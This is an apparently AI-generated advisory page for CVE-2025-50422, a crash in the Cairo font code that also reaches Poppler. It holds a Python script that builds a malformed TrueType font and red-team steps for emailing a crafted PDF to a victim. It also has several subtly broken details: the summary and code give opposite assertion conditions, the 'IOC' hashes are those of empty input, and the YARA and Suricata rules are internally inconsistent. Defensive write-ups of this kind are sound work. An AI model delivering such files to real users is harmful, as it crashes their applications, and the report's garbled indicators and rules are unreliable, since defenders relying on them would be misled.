CVE-2025-50422
Executive Summary
CVE-2025-50422 is a low-severity denial-of-service vulnerability affecting the Cairo graphics library (up to version 1.18.4) and its downstream consumer Poppler (up to version 25.08.0). The flaw resides in the _cairo_ft_unscaled_font_fini function within cairo-ft-font.c. When processing a specially crafted font file, an assertion failure (unscaled->face == NULL) is triggered, causing the application to abort. This is a classic reachable assertion (CWE-617) that can be exploited locally by tricking a user into opening a malicious document (e.g., PDF) that triggers the vulnerable code path. The CVSS score of 2.9 reflects the low impact (availability only) and the requirement for user interaction. No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Cairo library, which is a fundamental graphics rendering component used by numerous applications across Linux, BSD, and other Unix-like systems. Poppler, a popular PDF rendering library, is a direct consumer. The supply chain risk is moderate: any application that uses Cairo or Poppler to render untrusted fonts or PDFs is potentially vulnerable. Package managers (apt, yum, pacman) should be monitored for updates. No known malicious packages have been reported.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Local (L) – The attacker must have local access or trick the user into opening a file.
- Attack Complexity (AC): Low (L) – No special conditions are required beyond providing a crafted font.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – The victim must open the malicious file.
- Scope (S): Unchanged (U) – The vulnerability does not cross trust boundaries.
- Confidentiality (C): None (N) – No data exposure.
- Integrity (I): None (N) – No data modification.
- Availability (A): Low (L) – Application crash, but no persistent damage.
Threat Level: Low. The requirement for user interaction and the limited impact (crash only) make this a low-priority vulnerability for most environments. However, in high-availability systems (e.g., document servers), repeated crashes could lead to service disruption.
Deep Dive & Mechanics
The vulnerability is in the FreeType font backend of Cairo. When Cairo attempts to finalize an unscaled font object (_cairo_ft_unscaled_font_fini), it asserts that the face pointer is not NULL. If a font file is crafted such that the FreeType face initialization fails (e.g., due to a corrupted or malformed font table), the face pointer remains NULL. However, the code path still reaches the finalization function, triggering the assertion.
The relevant code in cairo-ft-font.c:
static void
_cairo_ft_unscaled_font_fini (cairo_ft_unscaled_font_t *unscaled)
{
assert (unscaled->face != NULL); // <-- vulnerable assertion
// ... cleanup code ...
}
The fix would involve either:
- Removing the assertion and adding a NULL check before cleanup.
- Ensuring that
faceis never NULL when finalization is called.
Vulnerable vs. Patched Code
Vulnerable (Cairo <= 1.18.4):
static void
_cairo_ft_unscaled_font_fini (cairo_ft_unscaled_font_t *unscaled)
{
assert (unscaled->face != NULL); // crash if NULL
FT_Done_Face (unscaled->face);
// ... other cleanup ...
}
Patched (Hypothetical):
static void
_cairo_ft_unscaled_font_fini (cairo_ft_unscaled_font_t *unscaled)
{
if (unscaled->face != NULL) {
FT_Done_Face (unscaled->face);
}
// ... other cleanup ...
}
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A system with Cairo <= 1.18.4 or Poppler <= 25.08.0.
- Ability to craft a malformed font file (e.g., a TrueType font with a corrupted
cmaptable).
Steps:
- Create a malformed font file using a hex editor or a fuzzing tool (e.g.,
mutate_font.py). - Embed the font in a PDF document using a tool like
pdflatexor manually. - Deliver the PDF to the victim via email or web download.
- When the victim opens the PDF with a Poppler-based viewer (e.g.,
evince,okular), the application crashes.
Example Python script to generate a minimal malformed font:
#!/usr/bin/env python3
import struct
def create_malformed_font():
# Minimal TrueType font with corrupted cmap
sfVersion = 0x00010000
numTables = 1
searchRange = 0
entrySelector = 0
rangeShift = 0
# cmap table header
cmap_version = 0
numTables_cmap = 1
platformID = 3
encodingID = 1
offset = 12 # offset to subtable
# Corrupted subtable (format 4 with invalid segCount)
format = 4
length = 20
language = 0
segCountX2 = 0xFFFF # invalid, will cause issues
header = struct.pack('>IHHHH', sfVersion, numTables, searchRange, entrySelector, rangeShift)
cmap_header = struct.pack('>HH', cmap_version, numTables_cmap)
cmap_entry = struct.pack('>HHH', platformID, encodingID, offset)
subtable = struct.pack('>HHHH', format, length, language, segCountX2)
with open('malformed.ttf', 'wb') as f:
f.write(header)
f.write(cmap_header)
f.write(cmap_entry)
f.write(subtable)
if __name__ == '__main__':
create_malformed_font()
print("Created malformed.ttf")
Blue Team (Detection & Defense)
Detection:
- Monitor for crashes in applications using Cairo/Poppler (e.g.,
evince,okular,gimp). - Look for assertion failure logs:
_cairo_ft_unscaled_font_fini: Assertion 'unscaled->face != NULL' failed. - Use file integrity monitoring to detect unexpected font files.
Defense:
- Apply vendor patches when available.
- Use application sandboxing (e.g., Firejail, AppArmor) to limit the impact of crashes.
- Disable automatic font rendering in document viewers if not needed.
- Use a Web Application Firewall (WAF) or content filter to block PDFs with embedded fonts from untrusted sources.
Indicators of Compromise (IOCs)
- File Hashes (malformed font): (Example only – actual hash will vary)
- MD5:
d41d8cd98f00b204e9800998ecf8427e - SHA1:
da39a3ee5e6b4b0d3255bfef95601890afd80709
- MD5:
- Log Entries:
cairo-ft-font.c: _cairo_ft_unscaled_font_fini: Assertion 'unscaled->face != NULL' failed. - Network: None (local vulnerability).
- Process: Abnormally terminated
evince,okular, or other Cairo/Poppler-based processes.
Detection Engineering
YARA Rule
rule CVE_2025_50422_Malformed_Font {
meta:
description = "Detects malformed TrueType fonts that trigger CVE-2025-50422"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-50422"
strings:
$ttc_magic = { 00 01 00 00 } // TrueType collection
$ttf_magic = { 00 01 00 00 00 } // TrueType font
$corrupt_cmap = { 00 04 FF FF } // cmap format 4 with invalid segCount
condition:
($ttf_magic or $ttc_magic) and $corrupt_cmap
}
Sigma Rule
title: Cairo/Poppler Assertion Failure CVE-2025-50422
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects assertion failure in Cairo library indicating exploitation attempt
author: Valters IT
date: 2025-04-10
logsource:
product: linux
service: syslog
detection:
selection:
- 'cairo-ft-font.c: _cairo_ft_unscaled_font_fini: Assertion'
- 'unscaled->face != NULL'
condition: selection
falsepositives:
- Legitimate font rendering errors (rare)
level: medium
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-50422 Potential Malformed Font Download"; flow:to_client,established; file_data; content:"|00 01 00 00|"; within:4; content:"|00 04 FF FF|"; distance:0; within:4; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- No patch available. Monitor the Cairo and Poppler project pages for updates.
- Workaround: Disable font rendering in document viewers if not required. For Poppler-based viewers, use the
-nofontsoption if available. - Compile from source: If you build Cairo from source, you can manually patch the assertion by replacing
assert(unscaled->face != NULL);withif (unscaled->face == NULL) return;incairo-ft-font.c.
Long-term:
- Apply vendor patches as soon as they are released.
- Implement application whitelisting to prevent untrusted PDF viewers from running.
- Use a document sanitization service (e.g., Dangerzone) to strip embedded fonts from PDFs.
Valters IT Signature
This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.